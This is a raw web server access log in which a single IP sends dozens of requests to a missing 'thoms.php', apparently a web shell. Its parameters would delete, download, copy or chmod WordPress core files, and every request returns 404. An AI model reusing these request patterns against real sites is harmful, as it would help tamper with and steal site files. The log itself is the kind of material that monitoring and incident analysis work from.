45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?del=bookmark-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:59 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-recovery-mode-link-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?del=class-wp-site.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?dl=registration-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?del=theme.json&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme.json&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-bindings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=block-bindings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-classic-to-block-menu-converter.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?del=general-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fquery.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fquery.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?chmod=class-wp-exception.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-exception.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-exception.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?del=kses.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=kses.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FIXR&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:00 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fatomlib.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fatomlib.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?dl=feed-rss2.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?del=meta.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=meta.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-default-filters.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fms-default-filters.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?chmod=html-api&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcategory.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fcategory.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?del=ms-default-constants.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?del=ms-functions.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?chmod=pluggable.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?chmod=post.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?del=SimplePie&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?dl=blocks.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?dl=class-wp-block.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:01 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?chmod=http.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?del=nav-menu.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menu.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?del=class-simplepie.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-styles.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fnav-menu.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fnav-menu.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?del=view-config.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=view-config.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fwp-db.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fwp-db.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?del=capabilities.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?chmod=shortcodes.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?dl=abilities.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=abilities.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?del=theme.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=theme.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-wp-plugin-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?dl=icons.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fkses.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Fkses.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frest-api.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-includes%2Frest-api.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:02 -0400] "GET /thoms.php?chmod=robots-template.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=ms-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?chmod=template-loader.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?del=php-compat&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=php-compat&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?chmod=rest-api&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?chmod=theme-compat&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?dl=atomlib.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=atomlib.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:51:03 -0400] "GET /thoms.php?chmod=class-wp-site-query.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site-query.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
